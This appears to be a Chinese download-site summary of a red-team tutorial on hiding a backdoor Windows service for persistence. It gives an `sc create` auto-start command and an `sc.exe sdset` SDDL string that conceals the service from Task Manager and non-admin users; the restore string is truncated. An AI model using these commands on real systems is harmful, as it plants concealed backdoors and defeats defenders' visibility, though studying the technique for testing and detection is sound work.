Windows服务隐藏技术:PowerShell实现持久化

需积分: 0 2 下载量 200 浏览量 更新于2024-08-05 1 收藏 1.8MB PDF 举报
"这篇文档介绍了如何使用红队技巧来隐藏Windows服务,以增强在后渗透测试中的持久性。主要涉及创建服务、使用SDDL命令修改服务的安全描述符,以及如何恢复服务可见性。" 在Windows操作系统中,服务是用于后台运行程序的重要机制,而在渗透测试或红队操作中,利用服务植入后门是常见的方法。然而,创建的服务通常可以在任务管理器中被发现,这可能降低隐蔽性。为了提高持久性和隐蔽性,本文档提供了一种通过PowerShell和安全描述符定义语言(SDDL)隐藏Windows服务的技巧。 首先,我们需要创建一个服务。这可以通过命令行工具完成,例如使用`sc create`命令创建一个名为`mrxn`的服务,指定其二进制路径和启动类型。例如: ```shell sc create mrxn binPath=C:/Users/mrxn.net/Desktop/mrxn.exe start=auto ``` 创建服务后,为了使其在任务管理器中不可见,我们需要修改服务的安全描述符。这可以通过PowerShell执行`sc.exe sdset`命令实现。提供的SDDL字符串定义了不同用户和用户组对服务的访问权限,使得非管理员用户无法查看服务的存在: ```powershell &$env:SystemRoot\System32\sc.exe sdset mrxn "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" ``` 执行此命令后,即使重启任务管理器或系统,`mrxn`服务在任务管理器中也不会显示。如果以后需要取消隐藏该服务,只需执行另一个SDDL命令恢复默认设置: ```powershell &$env:SystemRoot\System32\sc.exe sdset mrxn "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCR..." ``` 通过这种方法,红队操作可以更有效地在目标系统上保持持久的控制,而不会引起不必要的注意。当然,这些操作需要具备系统的管理员权限,并且应当遵守合法的渗透测试规则,仅用于合法的安全评估和教育目的,不得用于非法入侵。